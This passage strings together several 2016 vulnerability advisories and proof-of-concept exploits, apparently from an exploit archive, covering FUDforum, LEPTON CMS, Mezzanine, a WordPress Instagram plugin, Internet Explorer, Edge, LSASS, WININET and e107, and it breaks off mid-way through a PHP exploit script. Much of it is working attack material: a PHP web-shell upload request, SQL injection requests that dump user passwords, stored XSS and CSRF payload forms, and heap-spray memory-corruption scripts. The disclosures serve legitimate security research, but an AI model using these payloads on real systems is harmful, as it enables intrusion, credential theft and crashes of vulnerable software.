when the user themselves edits their profile - which may be exploited via login
CSRF - or when an admin visits the edit profile page located here: http://
localhost/fudforum/index.php?t=register&mod_id=6&&SQ=
1a85a858f326ec6602cb6d78d698f60a
Login CSRF
CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N
Description: The login of FUDForum does not have any CSRF protection. The
impact of this is low, but an attacker might get a victim to disclose sensitive
information by using CSRF to log the victim into an attacker-controlled
account. An example would be the accidental sending of a sensitive private
message while being logged into an account controlled by an attacker.
Additionally, Login-CSRF may enable an attacker to exploit XSS issues in the
user area.
Proof of Concept:
<html> <body> <form action="http://localhost/fudforum/index.php?t=login" method
="POST"> <input type="hidden" name="login" value="admin" /> <input type=
"hidden" name="password" value="admin" /> <input type="hidden" name="SQ" value=
"0" /> <input type="hidden" name="adm" value="" /> <input type="submit" value=
"Submit request" /> </form> </body> </html>
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
04/11/2016 Informed Vendor about Issue (no reply)
09/14/2016 Reminded Vendor (no reply)
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/FUDforum-306-Multiple-Persistent-XSS-amp-Login-CSRF-169.html
--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: LEPTON 2.2.2 stable
Fixed in: 2.3.0
Fixed Version Link: http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php
Vendor Website: http://www.lepton-cms.org/
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to 11/10/2016
public:
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
Lepton is a content management system written in PHP. In version 2.2.2, it is
vulnerable to code execution as it is possible to upload files with dangerous
type via the media manager.
3. Details
Upload of file with dangerous type
CVSS: High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C
Description: When uploading a file in the media tab, there is a client-side as
well as a server-side extension check. The server-side check can be bypassed by
including a valid extension before the desired extension, leading to code
execution or XSS.
Proof of Concept:
POST /LEPTON_stable_2.2.2/upload/admins/media/index.php?leptoken=
099c871bbf640f2f91d2az1472132032 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: lep9131sessionid=
8bgkd5rae5nhbn0jaac8jpkpc5 Connection: close Content-Type: multipart/form-data;
boundary=---------------------------38397165016927337851258279296
Content-Length: 613 -----------------------------38397165016927337851258279296
Content-Disposition: form-data; name="action" media_upload
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="current_dir"
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="upload[]"; filename="test.png.php5" Content-Type: image/png <?
php passthru($_GET['x']);
-----------------------------38397165016927337851258279296 Content-Disposition:
form-data; name="submit" Upload File(s)
-----------------------------38397165016927337851258279296-- http://localhost/
LEPTON_stable_2.2.2/upload/media/test.png.php5?x=id
4. Solution
To mitigate this issue please upgrade at least to version 2.3.0:
http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php
Please note that a newer version might already be available.
5. Report Timeline
09/05/2016 Informed Vendor about Issue
09/06/2016 Vendor requests 60 days to release fix
10/25/2016 Vendor releases fix
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/Lepton-222-Code-Execution-171.html
--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: LEPTON 2.2.2 stable
Fixed in: 2.3.0
Fixed Version Link: http://www.lepton-cms.org/posts/
important-lepton-2.3.0-101.php
Vendor Website: http://www.lepton-cms.org/
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to 11/10/2016
public:
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
Lepton is a content management system written in PHP. In version 2.2.2, it is
vulnerable to multiple SQL injections. The injections require a user account
with elevated privileges.
3. Details
SQL Injection: Search Page
CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description: The "terms" parameter of the page search is vulnerable to SQL
Injection. A user account with the right "Pages" is required to access this
feature.
Proof of Concept:
POST /LEPTON_stable_2.2.2/upload/admins/pages/index.php?leptoken=
3f7020b05ec343675b6b2z1472137594 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=
fkb7do1domiofuavvof5qbsv66; lep8765sessionid=f3a67s8kh379l9bs2rkggtpt12
Connection: close Content-Type: application/x-www-form-urlencoded
Content-Length: 154 search_scope=title&terms=" union select
username,2,3,4,5,6,password,email,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
from lep_users -- -&search=Search
Blind or Error-based SQL Injection: Create Page
CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description: The "parent" parameter of the create page functionality is
vulnerable to SQL Injection. A user account with the right "Pages" is required
to access this feature. The injection is blind or error based in the case that
PHP is configured to show errors.
Proof of Concept:
POST /LEPTON_stable_2.2.2/upload/admins/pages/add.php?leptoken=
dbbbe0a5cca5d279f7cd2z1472142328 HTTP/1.1 Host: localhost Accept-Language:
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=
fkb7do1domiofuavvof5qbsv66; lep8765sessionid=uniltg734soq583l03clr0t6j0
Connection: close Content-Type: application/x-www-form-urlencoded
Content-Length: 84 title=test&type=wysiwyg&parent=0 union select version()&
visibility=public&submit=Add
Blind or Error-based SQL Injection: Add Droplet
CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P
Description: The "Add_droplets" parameter of the droplet permission manager is
vulnerable to SQL injection. A user account with access to the Droplets
administration tool is required. The injection is blind or error based in the
case that PHP is configured to show errors.
Proof of Concept:
POST /LEPTON_stable_2.2.2/upload/admins/admintools/tool.php?tool=droplets&
leptoken=1eed21e683f216dbc9dc2z1472139075 HTTP/1.1 Host: localhost
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie:
PHPSESSID=fkb7do1domiofuavvof5qbsv66; lep8765sessionid=
f3a67s8kh379l9bs2rkggtpt12 Connection: close Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded Content-Length: 277 tool=
droplets&perms=1&Add_droplets%5B%5D=1&Add_droplets%5B%5D=2' WHERE attribute=
'Add_droplets' or extractvalue(1,version())%23&Delete_droplets%5B%5D=1&
Export_droplets%5B%5D=1&Import_droplets%5B%5D=1&Manage_backups%5B%5D=1&
Manage_perms%5B%5D=1&Modify_droplets%5B%5D=1&save=Save
4. Solution
To mitigate this issue please upgrade at least to version 2.3.0:
http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php
Please note that a newer version might already be available.
5. Report Timeline
09/05/2016 Informed Vendor about Issue
09/06/2016 Vendor requests 60 days to release fix
10/25/2016 Vendor releases fix
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/Lepton-222-SQL-Injection-173.html
--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
Security Advisory - Curesec Research Team
1. Introduction
Affected Product: Mezzanine 4.2.0
Fixed in: 4.2.1
Fixed Version Link: https://github.com/stephenmcd/mezzanine/releases/tag/4.2.1
Vendor Website: http://mezzanine.jupo.org/
Vulnerability Type: XSS
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to public: 11/10/2016
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
Mezzanine is an open source CMS written in python. In version 4.2.0, it is
vulnerable to two persistent XSS attacks, one of which requires extended
privileges, the other one does not. These issues allow an attacker to steal
cookies, inject JavaScript keyloggers, or bypass CSRF protection.
3. Details
XSS 1: Persistent XSS via Name in Comments
CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N
Description: When leaving a comment on a blog post, the author name is echoed
unencoded in the backend, leading to persistent XSS.
Proof of Concept:
Leave a comment, as author name use '"><img src=no onerror=alert(1)> To trigger
the payload, view the comment overview in the admin backend: http://
localhost:8000/admin/generic/threadedcomment
XSS 2: Persistent XSS via HTML file upload
CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:N/I:P/A:N
Description: When uploading files via the media manager, the extension .html is
allowed, leading to XSS via file upload. An account with the permissions to
upload files to the media manager is required.
Proof of Concept:
Visit the media manager and upload a .html file: http://localhost:8000/admin/
media-library/upload/?ot=desc&o=date As uploaded files are stored inside the
web root, it can now be accessed, thus executing the JavaScript code it
contains: http://localhost:8000/static/media/uploads/xss.html
4. Solution
To mitigate this issue please upgrade at least to version 4.2.1:
https://github.com/stephenmcd/mezzanine/releases/tag/4.2.1
Please note that a newer version might already be available.
5. Report Timeline
09/05/2016 Informed Vendor about Issue
09/05/2016 Vendor replies
09/19/2016 Vendor releases fix
11/10/2016 Disclosed to public
Blog Reference:
https://www.curesec.com/blog/article/blog/Mezzanine-420-XSS-177.html
--
blog: https://www.curesec.com/blog
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany
<!--
Source: http://blog.skylined.nl/20161116001.html
Synopsis
A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.
Known affected software, attack vectors and mitigations
Microsoft Internet Explorer 8
An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
-->
<!DOCTYPE html>
<html>
<script>
// This PoC attempts to exploit a use-after-free bug in Microsoft Internet
// Explorer 8.
// See http://blog.skylined.nl/20161116001.html for details.
var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
"A".replace(r, function (){
// Force OLEAUT32 to free the string
for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
// Reuse the freed memory
r.compile();
});
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
</html>
<!--
Description
Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation.
Exploit
Exploitation was not investigated.
Time-line
March 2015: This vulnerability was found through fuzzing.
March 2015: This vulnerability was submitted to ZDI.
April 2015: This vulnerability was acquired by ZDI.
October 2015: Microsoft addressed this issue in MS15-018.
November 2016: Details of this issue are released.
-->
<!--
Source: http://blog.skylined.nl/20161118002.html
Synopsis
A specially crafted web-page can cause an integer underflow in Microsoft Edge. This causes CTextExtractor::GetBlockText to read data outside of the bounds of a memory block.
Known affected software, attack vectors and mitigations
Microsoft Edge 11.0.10240.16384
An attacker would need to get a target user to open a specially crafted web-page. JavaScript is not necessarily required to trigger the issue.
Repro.html
<!DOCTYPE html>
<style>
*::first-letter{ border: 0; }
*{ white-space: pre-line; }
</style>
<body>
A<script>alert();</script>

B
</body>
Description
Though I did not investigate thoroughly, I did find out the following:
The root cause appears to be an integer underflow in a 32-bit variable used in CTextExtractor..GetBlockText as an index to read a WCHAR in a string buffer. This index is decreased once too often and becomes -1, or a very large positive number depending on how it is used.
This does not result in a crash on 32-bit systems, as an integer wrap causes the code to read one WCHAR before the start of the buffer, which is normally also in allocated memory.
On 64-bit systems, the 32-bit -1 value is interpreted as 0xFFFFFFFF, a very large positive value. As this is an index into a WCHAR string, it gets multiplied by two and added to the start of the buffer to find the location of a WCHAR to read. This causes the OOB read to be around 8Gb (!!) beyond the address at which the buffer is allocated.
The crash happens in code that appears to be rendering the web-page, which does not immediately offer an obvious way of extracting information using this bug.
Exploit
This is where it gets interesting, as the OOB read happens approximately 0x2`00000000 bytes after the address at which the buffer is allocated. This presents us with a problem: how to store some information that we'd be interested in reading at such a large offset from the original allocation?
As one might come to expect from me, I used a heap spray. But it needed to be a special kind of heap spray as I did not want to actually have to allocate 8Gb of RAM. However, about ten years ago (boy, time flies!) I developed a heap spray that uses significantly less RAM than a traditional heap spray does; in practice probably about 33% in most cases, but theoretically much more in ideal situations. I've been meaning to blog about it, but never found the time to do so until today: you can read all about it here.
That said, I have not actually looked at whether it is possible to exfiltrate useful information using this bug. However, I did write a Proof-of-Concept that attempts to make sure something is allocated in the area where the OOB read happens. This PoC uses these heap spray tricks to spray the heap while minimizing memory use. The Proof-of-Concept uses about ~5.3Gb to allocate the memory at around 8Gb distance from the buffer (up to ~10Gb to be sure). When you load the PoC in a 64-bit version of Edge, you may notice that, unlike the original repro, it will not crash Edge (even though it does trigger the issues): the heap spray has allocated the memory that the out-of-bounds read accesses, and this prevents an access violation exception. Refreshing the page is likely to screw up the precise allocation process needed and will probably cause a crash.
This proves that it is theoretically possible to allocate information at the address used by the code. All that is left is prove that the information read by the code can be exfiltrated somehow, and you have a working exploit. This is left as an exercises to the reader.
-->
<!DOCTYPE html>
<style>
*::first-letter{ border: 0; }
*{ white-space: pre-line; }
</style>
<body>
A<script>
var aiAllocationSizes = [ // max address ------. .---- RAM allocated
-0x4000, // 4000 4000 4000
0x1000, // | 1000 5000 5000
-0x5000, // -4000 | 5000 a000 6000
0x5000, // | | 5000 f000 b000
-0x7000, // | -5000 | 7000 16000 d000
0x6000, // | | | 6000 1c000 13000
-0x8000, // | | -7000 | 8000 24000 14000 (5.3Gb)
];
var aoHeap = [],
oToBeFreed;
aiAllocationSizes.forEach(function (iAllocationSize) {
if (iAllocationSize < 0 && oToBeFreed) {
console.log("-0x" + oToBeFreed.byteLength.toString(16));
oToBeFreed = null; // Free the heap block that was queued to be freed.
CollectGarbage();
}
var uAllocationSize = Math.abs(iAllocationSize) * 0x10000 - 1;
console.log("+0x" + uAllocationSize.toString(16));
var oArrayBuffer = new ArrayBuffer(uAllocationSize);
if (iAllocationSize < 0) {
oToBeFreed = oArrayBuffer; // Schedule this to be freed
} else {
//aoHeap.push(oArrayBuffer);
}
});
</script>

B
</body>
<!--
Time-line
June 2016: This vulnerability was found through fuzzing.
June 2016: This vulnerability was submitted to ZDI and iDefense.
July 2016: This vulnerability was acquired by ZDI.
September 2016: This vulnerability was addressed by Microsoft in MS16-104.
November 2016: Details of this issue are released.
-->
<!--
Source: https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_instagram_feed_plugin_via_csrf.html
Persistent Cross-Site Scripting in Instagram Feed plugin via CSRF
Abstract
A persistent Cross-Site Scripting vulnerability was found in the Instagram Feed plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker.
Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE ID
OVE-20160724-0014
Tested versions
This issue was successfully tested on the Instagram Feed WordPress Plugin version 1.4.6.2.
Fix
This issue is resolved in Instagram Feed WordPress Plugin version 1.4.7.
Introduction
Instagram Feed is a WordPress plugin to display beautifully clean, customizable, and responsive feeds from multiple Instagram accounts. A persistent Cross-Site Scripting vulnerability was found in the Instagram Feed plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker.
Details
The settings page of the Instagram Feed plugin does not perform CSRF checks. It's possible to change all settings in the plugin by making an authenticated administrator perform a request to change the settings (CSRF). It's possible to change the Instagram access token and id to show images of other users. It's also possible to inject malicious JavaScript in the Customize section, to perform Persistent Cross-Site Scripting. Any user visiting the Instagram Feed will be injected with the attackers payload after the CSRF attack.
Proof of Concept
Have an authenticated admin visit a webpage with the following form:
-->
<html>
<body>
<form action="http://<wordpress site>/wp-admin/admin.php?page=sb-instagram-feed&tab=customize" method="POST">
<input type="hidden" name="sb_instagram_settings_hidden_field" value="Y" />
<input type="hidden" name="sb_instagram_customize_hidden_field" value="Y" />
<input type="hidden" name="sb_instagram_width" value="100" />
<input type="hidden" name="sb_instagram_width_unit" value="%" />
<input type="hidden" name="sb_instagram_height" value="100" />
<input type="hidden" name="sb_instagram_height_unit" value="%" />
<input type="hidden" name="sb_instagram_background" value="#474747" />
<input type="hidden" name="sb_instagram_sort" value="none" />
<input type="hidden" name="sb_instagram_num" value="20" />
<input type="hidden" name="sb_instagram_cols" value="4" />
<input type="hidden" name="sb_instagram_image_res" value="auto" />
<input type="hidden" name="sb_instagram_image_padding" value="5" />
<input type="hidden" name="sb_instagram_image_padding_unit" value="px" />
<input type="hidden" name="sb_instagram_show_header" value="on" />
<input type="hidden" name="sb_instagram_header_color" value="" />
<input type="hidden" name="sb_instagram_show_btn" value="on" />
<input type="hidden" name="sb_instagram_btn_background" value="" />
<input type="hidden" name="sb_instagram_btn_text_color" value="" />
<input type="hidden" name="sb_instagram_btn_text" value="Load More..." />
<input type="hidden" name="sb_instagram_show_follow_btn" value="on" />
<input type="hidden" name="sb_instagram_folow_btn_background" value="" />
<input type="hidden" name="sb_instagram_follow_btn_text_color" value="" />
<input type="hidden" name="sb_instagram_follow_btn_text" value="Follow on Instagram" />
<input type="hidden" name="sb_instagram_exclude_words" value="" />
<input type="hidden" name="sb_instagram_include_words" value="" />
<input type="hidden" name="sb_instagram_hide_photos" value="" />
<input type="hidden" name="sb_instagram_block_users" value="" />
<input type="hidden" name="sb_instagram_custom_css" value="" />
<input type="hidden" name="sb_instagram_custom_js" value="} });</script><script>alert(1);</script> " />
<input type="hidden" name="submit" value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<!-- The Custom JavaScript section will now be saved with the attacker's JavaScript payload. -->
MS16-137: LSASS Remote Memory Corruption Advisory
Title: LSASS SMB NTLM Exchange Remote Memory Corruption
Version: 1.0
Issue type: Null Pointer Dereference
Authentication: Pre-Authenticated
Affected vendor: Microsoft
Release date: 8/11/2016
Discovered by: Laurent Gaffié
Advisory by: Laurent Gaffié
Issue status: Patch available
Affected versions: Windows: XP/Server 2003, Vista, 7, 2008R2, Server 2012R2, 10.
=================================================
A vulnerability in Windows Local Security Authority Subsystem Service (LSASS) was found on Windows OS versions ranging from Windows XP through to Windows 10. This vulnerability allows an attacker to remotely crash the LSASS.EXE process of an affected workstation with no user interaction.
Successful remote exploitation of this issue will result in a reboot of the target machine. Local privilege escalation should also be considered likely.
Microsoft acknowledged the vulnerability and has published an advisory and a patch, resolving this issue.
Technical details
-----------------
This vulnerability affects both LSASS client and server and can be triggered remotely via SMBv1 and SMBv2, during the NTLM message 3 (Authenticate) message. Incoming NTLM messages via SMB are using ASN1 and DER encoding, the first ASN length field can be set to unsigned int by using 0x84.
This allows an attacker to remotely allocate a huge chunk of memory, for a message never larger than 20000 chars. The secondary trigger is to set any string fields (User, Domain, session Key, MIC, etc) with a long string (80-140 chars), leading LSASS.exe to crash.
eax=00000000 ebx=000e3e04 ecx=fffffff8 edx=fffffffc esi=000e3e00 edi=00000004
eip=7c84cca2 esp=00aaf9ac ebp=00aaf9d4 iopl=0 nv up ei pl nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
ntdll!RtlpWaitOnCriticalSection+0xdf:
7c84cca2 ff4014 inc dword ptr [eax+14h] ds:0023:00000014=????????
STACK_TEXT:
00aaf9d4 7c83cfd7 00000b3c 00000004 00000000 ntdll!RtlpWaitOnCriticalSection+0xdf
00aaf9f4 4ab82f4a 000e3e00 00aafbec 00000000 ntdll!RtlEnterCriticalSection+0xa8 <-- Is used with a null pointer
00aafa18 4ab82765 000e3de8 ffffffff 00000001 lsasrv!NegpBuildMechListFromCreds+0x25 <-- Uses a null creds.
00aafbfc 4abc8fbb 00000001 00aafe40 000e3de8 lsasrv!NegBuildRequestToken+0xd9
00aafc34 4abca13f 000e3de8 00120111 00000010 lsasrv!NegGenerateServerRequest+0x2a
00aafc98 4ab85edb 000e3de8 00000000 00aafe40 lsasrv!NegAcceptLsaModeContext+0x344
00aafd0c 4ab860c8 00d5f900 00d5f908 00aafe40 lsasrv!WLsaAcceptContext+0x139
00aafe84 4ab7ae7b 00d5f8d8 005ccaf0 00599048 lsasrv!LpcAcceptContext+0x13b
00aafe9c 4ab7ad7e 00d5f8d8 4ac22738 00d5a158 lsasrv!DispatchAPI+0x46
00aaff54 4ab7a7c9 00d5f8d8 00aaff9c 77e5baf1 lsasrv!LpcHandler+0x1fe
00aaff78 4ab8f448 00598ce8 00000000 00000000 lsasrv!SpmPoolThreadBase+0xb9
00aaffb8 77e6484f 0059ade8 00000000 00000000 lsasrv!LsapThreadBase+0x91
00aaffec 00000000 4ab8f3f1 0059ade8 00000000 kernel32!BaseThreadStart+0x34
dt ntdll!_RTL_CRITICAL_SECTION
+0x000 DebugInfo : Ptr32 _RTL_CRITICAL_SECTION_DEBUG
+0x004 LockCount : Int4B
+0x008 RecursionCount : Int4B
+0x00c OwningThread : Ptr32 Void
+0x010 LockSemaphore : Ptr32 Void
+0x014 SpinCount : Uint4B
- LSASS NegpBuildMechListFromCreds sends a null pointer "creds" to NTDLL RtlEnterCriticalSection.
- RtlEnterCriticalSection is used with a null pointer, which triggers the crash.
Impact
------
Successful attempts will result in a remote system crash and possibly local privilege escalation.
Affected products
-----------------
Windows:
- XP
- Server 2003
- 7
- 8
- 2008
- 2012
- 10
Proof of concept
----------------
A proof of concept is available at the following URL:
https://github.com/lgandx/PoC/tree/master/LSASS
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40744.zip
This proof of concept is fully automated and includes non-vulnerable detection.
Solution
--------
Install the corresponding MS patch.
More details:
https://technet.microsoft.com/en-us/library/security/ms16-137.aspx
Response timeline
-----------------
* 17/09/2016 - Vendor notified, proof of concept sent.
* 28/09/2016 - Issue confirmed by MSRC
* 14/10/2016 - Vendor says he plan to release a patch in November, that is 1 month in advance of the scheduled 3 month.
* 08/11/2016 - Vendor release MS16-137.
* 08/11/2016 - This advisory released.
References
----------
* https://twitter.com/PythonResponder
* https://github.com/lgandx/Responder
<!--
Source: http://blog.skylined.nl/20161110001.html
Synopsis
A specially crafted HTTP response can cause the CHttpHeaderParser::ParseStatusLine method in WININET to read data beyond the end of a buffer. The size of the read can be controlled through the HTTP response. An attacker that is able to get any application that uses WININET to make a request to a server under his/her control may be able to disclose information stored after this memory block. This includes Microsoft Internet Explorer, Microsoft Edge and Microsoft Windows Media Player. As far as I can tell WININET is widely used by Microsoft applications to handle HTTP requests, and probably be all third-party applications that use Windows APIs to make HTTP requests. All these applications may be vulnerable to the issue, though it may be hard to exploit in most (if not all, see below).
Known affected versions, attack vectors and mitigations
WININET.dll
The issue was first discovered in pre-release Windows 10 fbl_release.140912-1613, which contained WININET.DLL version 11.00.9841.0. This vulnerability appears to have been present in all versions of Windows 10 since, up until the issue was addressed in August 2016. No mitigations against the issue are known.
Microsoft Internet Explorer
XMLHttpRequest can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it.
Microsoft Edge
XMLHttpRequest can be used to trigger this issue - I have not tried other vectors. To exploit the vulnerability, Javascript is most likely required, so disabling Javascript should mitigate it.
Microsoft Windows Media Player
Opening a link to a media file on a malicious server can be used to trigger the issue.
Microsoft has released two bulletins to address this issue, one for Microsoft Internet Explorer and one for Microsoft Edge. I do not know why Microsoft did not mention other applications in their bulletins, nor why they have two fixes for these specific applications, rather than one fix for a component of the Windows Operating System.
One wonders what would happen on a system where you have previously uninstalled both MSIE and Edge: do neither of the fixes apply and will your system be left vulnerable? Let me know if you found out!
Repro
The below repro consists of two parts: an HTML file that constructs an XMLHttpRequest in order to trigger the issue and a raw HTTP response that actually triggers it.
-->
<!DOCTYPE html>
<html>
<head>
<script>
// This PoC attempts to exploit a memory disclosure bug in WININET.dll
// that affects Microsoft Edge and Internet Explorer. However, it fails
// to reveal any information as intended. You might want to use this as
// a starting point for further investigation.
// See http://blog.skylined.nl/20161110001.html for details.
window.onerror = function (a, b, c) {
alert([a,b,c].join("\r\n"));
}
var aauHeap = [];
function spray() {
aauHoles = [];
for (var u = 0; u < 0x10000; u++) {
var auHole = new Uint32Array(0x200 / 4);
aauHoles.push(auHole);
auHole[0] = 0xDEADBEEF;
auHole[1] = 0x0D0A0D0A;
auHole[2] = 0x0;
var auHeap = new Uint32Array(0x200 / 4);
aauHeap.push(auHeap);
auHeap[0] = 0x41424344;
auHeap[1] = 0x0D0A0D0A;
auHeap[2] = 0x0;
}
};
function sendRequest() {
spray();
var oXHR = new XMLHttpRequest();
oXHR.open("GET", "Response.http?" + new Date().valueOf());
oXHR.send();
oXHR.addEventListener("load", function() {
alert("load: " + JSON.stringify(oXHR.status) + " " + JSON.stringify(oXHR.statusText) + "\r\n" +
JSON.stringify(oXHR.responseText));
setTimeout(sendRequest, 1000);
});
oXHR.addEventListener("error", function() {
alert("error: " + JSON.stringify(oXHR.status) + " " + JSON.stringify(oXHR.statusText) + "\r\n" +
JSON.stringify(oXHR.responseText));
setTimeout(sendRequest, 1000);
});
}
sendRequest();
// This work by SkyLined is licensed under a Creative Commons
// Attribution-Non-Commercial 4.0 International License.
</script>
</head>
</html>
<!--
Response.http
HTTP/1.1 100 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
HTTP/1.1 200 X
Description
When WININET is processing a HTTP 100 response, it expects another HTTP response to follow. WININET stores all data received from the server into a buffer, uses a variable to store an index into this buffer to track where it is currently processing data, and uses another variable to store the length of the remaining data in the buffer.
When processing the headers of the HTTP 100 request, the code updates the index correctly, but does not decrement the length variable. When the code processes the next request, the length variable is too large, which can cause the code to read beyond the end of the data received from the server. This may cause it to parse data stored in the buffer that was previously received as part of the current HTTP response, and can even cause it to do the same for data read beyond the end of the buffer. This can potentially lead to information disclosure.
The larger the HTTP 100 response is, the more bytes the code reads beyond the end of the data. Here are some example responses and their effect:
"HTTP 100\r\n\r\nX" (12 bytes in HTTP 100 response)
=> read "X" and the next 11 bytes in memory as the next response.
"HTTP 100\r\n\r\nXXXX" (12 bytes in HTTP 100 response)
=> read "XXXX" and the next 8 bytes in memory as the next response.
"HTTP 100XXX\r\n\r\nX" (15 bytes in HTTP 100 response)
=> read "X" and the next 14 bytes in memory as the next response.
"HTTP 100XXX........XXX\r\n\r\nX..." (N bytes in HTTP 100 response)
=> read "X" and the next (N-1) bytes in memory as the next response.
Exploit
This issue is remarkably similar to an issue in HTTP 1xx response handling I found in Google Chrome a while back. That issue allowed disclosure of information from the main process' memory through response headers. I attempted to leak some data using this vulnerability by using the following response:
"HTTP 100XXX........XXX\r\nHTTP 200 X"
I was hoping this would cause the OOB read to save data from beyond the end of the HTTP 200 reponse in the statusText property of the XMLHttpRequest, but I did not immediately see this happen; all I got was "OK" or an empty string.
Unfortunately, I did not have time to reverse the code and investigate further myself. All VCPs I submitted the issue to rejected it because they though it was not practically exploitable.
Time-line
October 2014: This vulnerability was found through fuzzing.
October-November 2014: This vulnerability was submitted to ZDI, iDefense and EIP.
November-December 2014: ZDI, iDefense and EIP all either reject the submission because Windows 10 is in pre-release, or fail to respond.
August 2015: re-submitted to ZDI, iDefense and EIP, since Windows 10 is now in public release.
September-October 2015: ZDI, iDefense and EIP all either reject the submission because they do not consider it practically exploitable, or fail to respond.
June 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue.
September 2016: The vulnerability was address by Microsoft in MS16-105.
November 2016: Details of this issue are released.
-->
# Exploit Title: e107 CMS 2.1.2 Privilege Escalation
# Date: 09-11-2016
# Software Link: http://e107.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
1. Description
Datas from `$_POST['updated_data']` inside `usersettings.php` are not properly validated so we can set `user_admin`.
http://security.szurek.pl/e107-cms-211-privilege-escalation.html
2. Proof of Concept
<?php
/**
* e107 CMS 2.1.2 Privilege Escalation
* Kacper Szurek
* http://security.szurek.pl
*/
function hack($url, $login, $pass, $cookie){
$ckfile = dirname(__FILE__) . $cookie;
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
